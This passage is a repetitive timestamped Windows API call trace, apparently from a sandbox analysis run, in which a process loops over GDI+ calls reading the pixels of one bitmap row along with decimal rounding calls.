	[0073.359] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.359] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.359] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.359] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=74, y=0, color=0x1c69c760) returned 0x0
	[0073.359] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.359] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.359] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.359] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.359] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=75, y=0, color=0x1c69c760) returned 0x0
	[0073.359] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.360] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.360] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.360] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.360] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=76, y=0, color=0x1c69c760) returned 0x0
	[0073.360] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.361] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.361] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.361] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.361] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=77, y=0, color=0x1c69c760) returned 0x0
	[0073.361] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.361] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.361] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.361] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.361] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=78, y=0, color=0x1c69c760) returned 0x0
	[0073.361] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.361] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.362] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.362] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.362] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=79, y=0, color=0x1c69c760) returned 0x0
	[0073.362] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.362] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.362] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.362] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.362] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=80, y=0, color=0x1c69c760) returned 0x0
	[0073.362] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.363] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.363] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.363] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.363] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=81, y=0, color=0x1c69c760) returned 0x0
	[0073.364] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.364] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.364] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.364] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.364] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=82, y=0, color=0x1c69c760) returned 0x0
	[0073.364] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.364] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.364] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.364] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.364] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=83, y=0, color=0x1c69c760) returned 0x0
	[0073.364] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.364] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.365] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.365] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.365] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=84, y=0, color=0x1c69c760) returned 0x0
	[0073.365] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.365] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.365] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.365] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.365] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=85, y=0, color=0x1c69c760) returned 0x0
	[0073.366] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.366] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.366] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.366] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.366] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=86, y=0, color=0x1c69c760) returned 0x0
	[0073.366] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.366] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.366] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.367] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.367] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=87, y=0, color=0x1c69c760) returned 0x0
	[0073.367] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.367] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.367] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.367] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.367] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=88, y=0, color=0x1c69c760) returned 0x0
	[0073.367] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.367] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.367] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.368] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.368] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=89, y=0, color=0x1c69c760) returned 0x0
	[0073.368] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.368] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.368] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.368] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.368] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=90, y=0, color=0x1c69c760) returned 0x0
	[0073.368] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.369] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.369] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.369] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.369] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=91, y=0, color=0x1c69c760) returned 0x0
	[0073.369] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.369] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.369] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.369] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.369] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=92, y=0, color=0x1c69c760) returned 0x0
	[0073.370] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.370] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.370] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.370] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.370] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=93, y=0, color=0x1c69c760) returned 0x0
	[0073.371] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.371] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.371] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.371] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.371] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=94, y=0, color=0x1c69c760) returned 0x0
	[0073.371] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.371] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.372] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.372] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.372] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=95, y=0, color=0x1c69c760) returned 0x0
	[0073.372] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.372] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.373] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.373] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.373] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=96, y=0, color=0x1c69c760) returned 0x0
	[0073.373] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.373] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.373] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.373] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.374] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=97, y=0, color=0x1c69c760) returned 0x0
	[0073.374] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.374] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.374] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.374] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.374] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=98, y=0, color=0x1c69c760) returned 0x0
	[0073.374] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.374] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.375] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.375] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.375] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=99, y=0, color=0x1c69c760) returned 0x0
	[0073.375] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.375] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.375] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.375] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.375] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=100, y=0, color=0x1c69c760) returned 0x0
	[0073.376] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.376] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.376] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.376] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.376] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=101, y=0, color=0x1c69c760) returned 0x0
	[0073.376] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.376] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.376] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.376] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.377] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=102, y=0, color=0x1c69c760) returned 0x0
	[0073.377] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.377] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.377] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.377] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.377] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=103, y=0, color=0x1c69c760) returned 0x0
	[0073.378] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.378] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.378] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.378] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.378] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=104, y=0, color=0x1c69c760) returned 0x0
	[0073.378] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.378] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.378] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.378] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.379] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=105, y=0, color=0x1c69c760) returned 0x0
	[0073.379] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.379] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.379] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.379] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.379] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=106, y=0, color=0x1c69c760) returned 0x0
	[0073.379] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.379] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.380] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.380] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.380] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=107, y=0, color=0x1c69c760) returned 0x0
	[0073.380] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.380] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.380] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.380] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.381] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=108, y=0, color=0x1c69c760) returned 0x0
	[0073.381] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.381] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.381] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.381] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.381] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=109, y=0, color=0x1c69c760) returned 0x0
	[0073.382] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.382] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.382] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.382] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.382] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=110, y=0, color=0x1c69c760) returned 0x0
	[0073.382] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.383] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.383] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.383] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.383] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=111, y=0, color=0x1c69c760) returned 0x0
	[0073.383] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.383] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.383] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.383] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.383] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=112, y=0, color=0x1c69c760) returned 0x0
	[0073.384] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.384] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.384] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.384] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.384] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=113, y=0, color=0x1c69c760) returned 0x0
	[0073.384] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.384] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.384] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.384] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.384] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=114, y=0, color=0x1c69c760) returned 0x0
	[0073.385] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.385] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.385] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.385] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.385] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=115, y=0, color=0x1c69c760) returned 0x0
	[0073.385] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.386] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.386] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.386] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.386] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=116, y=0, color=0x1c69c760) returned 0x0
	[0073.386] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.386] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.386] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.386] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.387] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=117, y=0, color=0x1c69c760) returned 0x0
	[0073.387] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.387] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.387] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.387] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.387] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=118, y=0, color=0x1c69c760) returned 0x0
	[0073.387] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.387] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.387] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.388] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.388] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=119, y=0, color=0x1c69c760) returned 0x0
	[0073.388] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.388] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.388] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.388] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.388] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=120, y=0, color=0x1c69c760) returned 0x0
	[0073.389] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.389] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.389] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.389] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.389] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=121, y=0, color=0x1c69c760) returned 0x0
	[0073.389] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.389] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.389] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.389] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.389] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=122, y=0, color=0x1c69c760) returned 0x0
	[0073.390] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.390] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.390] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.390] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
